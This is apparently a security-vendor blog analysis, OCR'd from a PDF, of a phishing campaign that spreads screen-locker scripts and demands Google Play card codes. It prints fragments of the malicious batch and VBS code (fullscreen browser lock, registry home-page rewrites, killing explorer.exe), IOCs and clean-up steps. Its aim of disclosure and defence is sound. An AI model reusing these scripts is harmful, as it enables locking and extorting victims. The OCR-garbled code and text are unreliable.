Lockscreen Ransomware Phishing Leads To Google Play
Card Scam

%

SpiderLabs Blog

Loading...

Blogs & Stories
SpiderLabs Blog

Attracting more than a half-million annual readers, this is the security community's go-to
destination for technical breakdowns of the latest threats, critical vulnerability disclosures
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Email scammers always seem to invent new ways of trickery to gain cash from their victims.
We recently came across a case where the scammer reused some existing scripts to phish
and scam - copy and paste style. With a bit of modification, the script works like
ransomware, without the hassle of having to compile a portable executable. This screen
locker ransomware variant locks the user's screen and demand a ransom rather than the
typical file encryption style ransomware. The ransom demanded in this case was in the form
of Google Play Cards.
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Below is an overview of the process from the email hyperlinks, file downloads, to how these
files are installed and work in the victim’s computer.
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License2.vbs
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Licensel.bat = WindowsUpdate.bat
License2.vbs = startupl.vbs

startup2.bat

Figure 1. From Scripts to Scams

The scam starts with an email. Recently, have seen an email spam campaign pretending to
be an important update for your computer. The email "From:" address is:
help@supportwindows followed by some digits.

In the first email sample, the hyperlink provided will directly download a batch file,
WindowsUpdate.bat
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mportant Update - Message (HTML)

File Message Help ¢ Tell me what you want to do
W ~8 M| 9 % > dwMakuread B~ M- B~ L find | Q_ zoom | se-
& W
Important Update
Repl %~ Reply Al — F d
Support99500<help@windowssuppo L.COm .. ) Reply € Reply T
hittpe/ funarwwhoawareness.com, .
To = ] -I " = ] v‘-mdcwsupdate.bat Wed ! S2020 10252 PM
Click or tap to follow link.

Mise a jour de sécurité importante pour Windows 10, veuillez cliquer ici et installer

http:/ fweww. whoawareness.com,/
or windowsupdate.bat
Click or tap to follow link.

Windows 10 Important security Update please click_here and install

For unsubscribe : reply with subject “Unsubscribe”

Figure 2. An email written in French, and translated in English, asking the user to update its
computer.

In the second email sample, the hyperlink uses a short URL service that leads to a
WordPress website.

mpartant Lipate for computer - Mesage (HTWL] = Important Update for computer - Messsge (HTML)
Filke Message  Help 2 Tell me what you want to do File Message Help Q' Tell me what you wart to do
WM-26E 9% > 2 8 - B 2 ang | O zoom | e m-8om/Mm | %% > 28 - B L rng | QO Zoam
n - & e
Important Update for computer Important Update for computer
N - iy | || Ik
Suppon 24T khelp@windowssuppant .com = | . . Suppart Tl helpEwindowsoipporti.com > - -
To "k e Tue 717 Tow w dems = Sa VM1
(1) This message was 1ent with High imganance. (T Tris message was sent with High impartance.
I IE are Panbiem s with Wi B message |5 Sisplaped, dbo Peere bo wew it in & web Beowser HANEE A1 Proil e With e Hhs MEsSage i dispRayed, ChCk NETE 10 Wesw It in & web brawwser
i Feere ba dowmicad pictures. T help peofed your privacy, Dutiook prevented aulomatic downlead of some pidures in Clik heve to dewnlead picures To help protect pow privacy, Duthesk prevented sutonatic downdoad of some pidures in
Ui mEdsAgE. s miEssage.
(Dear Cusiemss Drean Custarmet

Windows Windows

‘Dur system has find cut that your microsoft windows license & expired or comepled and your all microsoft senvices wil ba Our system has find out thal your micmsoit windows license is expiced or corupled and your all micresoft services will be

Y _—_

hoppad soon, you will el abke b Lkse your it comguber afrymaons alopped 3000, you will not atde b Liss pour microsol computer avpmon
Tormsl s e e Foreimtab o barse (17
please gick here DOWHLOAD NOW please cick hore DOWHLOAD HOAY

aihen Thal chick on downlosd for your license key ihen open after hal click on downlead for your Boense key then open it

fthen you will find two license beys then you will find two license keys

apen icenss and Roenssd and chick on un open Boemie and Bosnse and chck on

e rexshart your compuber your licanss key will be instal haen resiant your computar your Boanse key will be install

Thank you Thark you

‘Windows suppor! leam Windows support leam

Fibf anaubacine | iEok wilh SuBicl “Uniubscrine” Fio uieiabeeCriee: - 10y wilh bt “Undubacnbe”

Figure 3. Emails implying that a Windows OS License is expired.
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Should the victim click the hyperlink provided by the second email sample will redirect to the
WordPress web page below:

B WELCOME TO WINDOWS SUPPORT

WINDOWS SUPPORT

leave offine message
Somy we: are not mvnlisbie right now please
leave your message whit your name and emeil

Microsoft

Figure 4. The WordPress website posing as Windows Support.

Clicking the ‘Microsoft’ image will download WindowsUpdate.bat and hitting the ‘Download
Now’ button downloads the key.rar archive file. Should the victim decide to open the
downloaded archive file, they will see two script files. Files named as License1.bat and
License2.vbs.
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C:\Users\| m m "\Downloads' key.rar, =R =

File Edit View Favorites Tools Help

o= v o X i

Add  Extract Test | Copy | Move Delete Info

? || ChUsers' ™8 @ hDownloadskey.rar, -
Mame Size Packed Size Meodified Created Acg
2543 867 2020-07-04 08:15

Licensed.wbs 648 348 2020-07-02 07:08

1 | 1] 3
172 object(s) selected 2543 2543 2020-07-04 08:15:34

Figure 5. The keys to scamming

In the first email sample, the hyperlink provided will download the WindowsUpdate.bat.
The file in the archive, License1.bat is the same as the WindowsUpdate.bat. This is a
modified script from an old one that was uploaded in pastebin.com way back in 2017. The
script can be viewed here

MNew
Embedded,
Lines

Figure 6. Side by side comparison of the modified(Left Pane) and the original(Right Pane)
script

The batch file serves as the installation file. Running this command batch file will drop
another VBS and two batch files in the User Startup Folder. These scripts will automatically
be executed when the computer starts.
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Ou | . = Start Menu » Programs » Startup v|¢f || Search Startup P|
Organize * Open Share with = Print Mew folder == » [ I@
r Favorites Mame . Date modified Type

B Desktop desktop.ini 2/21/2018 809 PM  Configuration sett..,
4. Downloads startupl.bat 1/1/202011:42 PM Windows Batch File
| Recent Place startupl.vbs 7/7/202011:42 PM  VBScript Script File
= startup2.bat 1/7/202011:42 PM Windows Batch File
- Libraries
@ Documents i
J‘i Music
[&] Pictures
H videos M
1M Computer
&L, Local Disk (¢ ™ ¢ | ] | '
3 items selected Date modified: 7,/7/202011:42 PM Date created: 7/7/202011:42 PM
Size: 1.44 KB

Figure 7. Dropping files in User Startup folder yields the auto-run technique

The file from archive License2.vbs and the created file startup1.vbs are the same. This
script will open a Microsoft Internet Explorer browser on full screen mode, hiding the
address, menu and status bar and navigate to hxxp://whoawareness[.Jcom/?page_id=93.

B License bat (3 :ILnuue?vbsE!]
Bo
EHSet objIE=WScript.createch]ect (" nLernekosRlanaL - A0 T " TE")
=] objIE.visible = True
objIE.TheaterMode = False
=] obiIE.AddressBar = True

ob]iIE.StatusBa. False
objIE.MenuBar alse
objIE.FullScreen = True

ob]IE.Havigate "HCTD:/
=] Do Until cbjIE.ReadyState = 4
WScripc.Sleep 100
Loop
= objIE.Havigacs ("RLip://Whoawsreness, com/ Fpage id ")
MEEROY " ld not inatall update, icense key is corrupted pleass renew Windows Licenss or email us ¢ supportEMERRNEEnRaT - o
LOOF

Figure 8. It is like pressing F11 button in the keyboard. That is the trick.

Either the computer boots up and startup1.vbs is triggered, or License2.vbs is executed
from the key.rar archive. The victim is now tricked into thinking that their computer is
‘blocked’.
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B WELCOME TO WINDOWS SUPPORT

WINDOWS SECURITY WARNING

Your Computer is blocked
While updating your Microsoft windows , System has automatically deduct that you are using
pirated version of windows or your windows license key is invalid. This may also happens due to

hacking attacks on your computer or internet.

As per rules This is a very big crime of using pirated version of Windows Software as can be
punishable by the law.

You need to renew your windows license or reinstall your windows license.
How to Renew/reinstall windows license?
To unblock your computer

You need to go to nearest store like

Figure 9. Works a bit like a ransom note.
And a notification appears:
[

Could not install update, License key is corrupted please renew Windows License
or email us to support@whoawreness.com ,

oK

Figure 10. Message box appears, contact email provided.

Further down, the web page asks you to purchase a Google Play Store Card worth 100
Euros to activate a new license for your computer and provides a video on how to scratch
off this card. The scammers list and provide a cellphone screenshot of stores where you
can buy these cards.

7/15


https://npercoco.typepad.com/.a/6a0133f264aa62970b0264e2e9b570200d-pi
https://npercoco.typepad.com/.a/6a0133f264aa62970b0264e2e9b597200d-pi

and get a google play store card of 100 euros to activate new license for your computer.

After that you have to scratch on back of google play card and submit written code

how to scratch play store card 7?

Easy way to scratch off Google play card* Y ad
Watch later  Share

Figure 11. How to scratch the purchased card.
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Figure 12. List of retail stores where you can purchase the Google Play Card.

Finally, the scammers ask you to fill out the form with your personal information together
with the Google Play Card Code.
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just submit the code in the given box below and press on activate license it will take upto 24hours to
activate and unblock your computer

Contact us by filling out the form below.

First Name

Google play card code

Windows Support / Proudly powered by WordPress

Figure 13. Phishing and Scam

With a Google Play balance, you can buy Apps, Books, Movies, Music, Newsstand, and
Subscriptions that are offered in Google Play Store. The other remaining two files created
in the User Startup Folder:

startup1.bat — Since this script was reused and modified, it is intended to change each
internet browsers home page for Microsoft Internet Explorer and Mozilla Firefox by
modifying the registry. Both of the URLSs listed in the script were already inaccessible at the
time of analysis.

startup2.bat — Terminates Windows Explorer.

10/15


https://npercoco.typepad.com/.a/6a0133f264aa62970b0264e2e9b5bc200d-pi

= [ License |_.| 2 | o startup 1 bat B |

ed "C:\Windows\System32"

tacho off
to Begin
fecho off
REG ADD "HECU\SOFTWARE\MICROSOFI\INTERNET EXPFLORER“MAIN" /V "START PAGE™ /D "http://aupport8z. com/google. heml™ /F
echo off
ADD "HECT\SOFTWARE\MICROSOFT\GOOGLE CHROME\MATN® /V ®START PAGE" /D "htcp://supportg2.com/google.htmli® /F
echo off
> ADD "HECU\SOFIWARE\MICROSCE
a5k 1 /im firefox.exe#
od /D "C:\Users‘RodelM\RppData'\Roaming\Mozilla\Firefox\Frofiles"
od *.defaultc
set ffile=C:%\Users\RodelM\Starct Menu'\Programs\Starcup
echo user pref("browser.startup.homepage™, "HITtD://IUDDORtl6.com/google . REm
set ffile=
cd C:\Windows

\MOZILLA FIREFOX\MAIN" /V "START PAGE" /D "http://supportd?.com/google.html™ /F

window. location.href="htop://supporclé.com/google.heml "4 ) ()

Figure 14. startup1.bat file adds new registries to change the home page following Internet
Browser Programs
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1 taskkill ff fIM explorer.exe |

Figure 15. startup2.bat file terminates the process Windows Explorer.exe

As we were going to publish this, we noticed the WordPress site at whoawareness.com had
changed. It is now using scare tactics, especially noticeable when your audio volume is on
high. It has an image of the detected threats in your machine, where the window structure is
evidently from Windows XP. Then there are two message boxes, a fake system alert, and
the other a phishing form that asks you to key in your username and password.

= Syrtam Waring Alart ™"
! o ——— Error Lot
B34 Systern Diagnostics IP Addr

** System Warning Alert **

ERROR # 0xCO04FCO3

Service Helpline +44-208-638-8586

Pley call us immediabely ai

+44-208-638-8586 (Toll Free)
. The foliowing information is

¥ Mrentian! Thieats faund
stored on this computer

& Attention! 22 threats found

all us within the mex
i being disabled or

+44-208-638-8586 (Toll FREE)

Threak namuc  Buackdeor POESON BOA
Albert el —

Artion: th

Irafct ik

Dmsrighon: T

Service Helpline : +44-208-638-8586

Rrsammmdedt:
F—— Bamave Wl
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Figure 16. Another lockscreen image replaced the landing site from the tinyurl hosted
redirection.

<audio autoplay=autoplay loop id=audio>
y a:s,cuur‘ce src=http://nondisintegration.site/ch/sound/err.mp3 type=audio/iZ=
</audio>

Figure 17. The alarming audio sound with voice over informing that your machine is infected

Mitigation and Clean Up Procedures

Follow the steps below to clean up the process running, all dropped files, and any modified
registry entries.

1. Open Task Manager, lookup for the process ‘wscript.exe’, right click mouse button,
select ‘End Task’

-

Windows Task Manager @

Do you want to end ‘wscript.exe'?

If an open program is associated with this process, it will close
and you will lose any unsaved data. If you end a system
process, it might result in an unstable system. Are you sure
you want to continue?

[ End process ][ Cancel ]

2. Press F11 in the keyboard. This will exit the Full Screen mode of the IE Browser, then
close the Browser.

3. Go to Run command or press Windows key + R Key at the same time, type
‘shell:startup’. This will show the User Startup folder. Delete the following files listed below:
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%v| L. = Start Menu » Programs » Startup - | 4 | | Search Startup e |
Organize * Open Share with = Print Mew folder =+ [ @
< Favorites Mame Date modified Type

Bl Desktop desktop.ini 2/21/2018 809 PM  Configuration sett..,
4. Downloads startupl.bat 1/7/202011:42 PM Windows Batch File

= Recent Place startupl.vbs 7/7/202011:42 PM  VBScript Script File
= startup.bat 1/1/202011:42 PM  Windows Batch File

- Libraries
@ Documents

Jﬁ Music

[&] Pictures

H videos

1M Computer

&, Local Disk (¢ ™ 4 |

UL

| 3

0
i

Size: 1.44 KB

3 items selected Date modified: 7/7/2020 11:42 PM

Date created: 7/7/202011:42 PP

4. Open Registry Editor.

Find the following keys in their respective location:

- b Microsoft Management Console = . Mame Type Data
ok MOZILLA FIREFOX (/| 2 cfauit REG_SZ {value not set)
—'_Jm%lﬁ_ ab| START PAGE REG_SZ http://support82.com/google.html
b Eslgn ools
I - L. MSDAIPP - |5 m >
Computer\HKEY_CURREMNT_USER\Software\Microsoft\ MOZILLA FIREFOX\MAIN
[ FTP A -Name Type Data
-4y GOPlus = (|| 2¥) (Default) REG_SZ {value not set)
. GOOGLE CHROME || a¥|START PAGE REG_SZ http://suppeti2.com/google html
[}, MAIN
! : . 1AM -l 4] i 3
Computer\HKEY_CURRENT_USER\Software\ Microsoft\GOOGLE CHROME\MAIN
Delete these keys and subkeys tied to it.
Find the following key in their respective location:
- ::v_mewﬁw £ Start Page REG_SZ http:."fsuppurtEE.cnmfgu-ngle.himll
a- b Main
{0 Default Feeds 7] Use_DIgBox_Colors REG 52 yes
| = ab) JseClearType REG_SZ no

| WindowsSearch
PRI

|| 4

(L]

Computer\HKEY_CURRENT_USER\Software\Microsofti\Internet Explarer\Main

You can change the value of the key Start Page from your original home page or simply

delete this subkey
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5. If you have Mozilla Firefox browser installed in your system, navigate to the folder
location below and open the pref.js file in a Text Editor.

——,
@U'| W\ Users\l ol ol AppData’ Roaming\Mozilla\Firefox\Profilesh gbwdtuba.default-release - | 3 | [

Organize = @ Open - Share with + Print Mew folder

* Favorites i Mame Date modified Type Size
L]
B Desk |-— || places.sglite-wal 1720420201216 AM  SQLITE-WAL File 2,370 KB
eskto
0 Ip 4 __| pluginreg.dat 7/20/202012:09 AM  DAT File 1KB
ownloads =
.& - o prefs,js 7/20/202012:15 AM  JScript Script File TKB
= Recent Places . . - . . S
__| protections.sglite 1/20/202012:15 AM  SQLITE File 64 KB
— || search.json.mozlzd 7/20/202012:15 AM - MOZLZ4 File 3KB
ibraries
'ﬁﬁ] o = __| sessienCheckpoints,json 1/20/2020 1215 AM  JSOM File 1KE

In the Text Editor lookup this line and delete it, then save the file:

L

Ml BrA A | A W e b A erd A e M L L AP A T e AR f

40 user pref{"browser.slowStartup.averageTime", 1373});

41 user pref("browser.slowStartup.samples™, 2});

42 b.lser: pref {("browser.startup.homepage™, "http://supportlé.com/google. html™) ;

43 user pref({"browser.startup.lastCold5StartupCheck™, 1555160354} ;

44 user pref{"browser.uiCustomization.state™, "{\"placements\":{\"widget-overflow-fix

Remember, updates for your computer never really arrive from email notifications, they just
pop-up around your task bar waiting for you to click, install and restart. And if your Microsoft
Windows Activation License is invalid, a text will appear on the right-hand bottom of your
desktop window. Simply avoid or ignore these amateurish unsolicited emails that alert you
that you need an update.

IOCs

URLS:

hxxp://whoawareness[.Jcom

hxxp://tinyurl[.]Jcom/whoawareness
hxxp://lwhoawareness|.Jcom/?page_id=93
hxxp://whoawareness[.Jcom/WindowsUpdate.bat
hxxp://lwhoawareness|.Jcom/?smd_process_download=1&download_id=82

Files/Scripts:

FileName: key.rar
MD5: fb2efa0a781d7911556737768814f4ee
SHA1: 2ddb6a50937364386ddeffcf5bd2dfb53cf49d5

FileName: License2.vbs / startup1.vbs
MD5: 3df65471e9741d55084780092719834f
SHA1: d32b802d542138ddb5f812d06077215dd82cbd98
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FileName: License1.bat / WindowsUpdate.bat
MD5: 955bd1ee3b36e899fad441aaa29c7f985
SHA1: d5e30fbc7f9e7976be8c77682c0ae15fd08ad8dc

FileName: startup1.bat
MD5: f76e9acabae09d12¢c1221e56603c754d
SHA1: 094007daaa2854bf22f6fd2750caa33ce97fbcc3

FileName: startup2.bat
MD5: 2b7f12f582¢1137396461671dc229f7
SHA1: 9558fde1521e01f61fab82b51ce5be3162917e61
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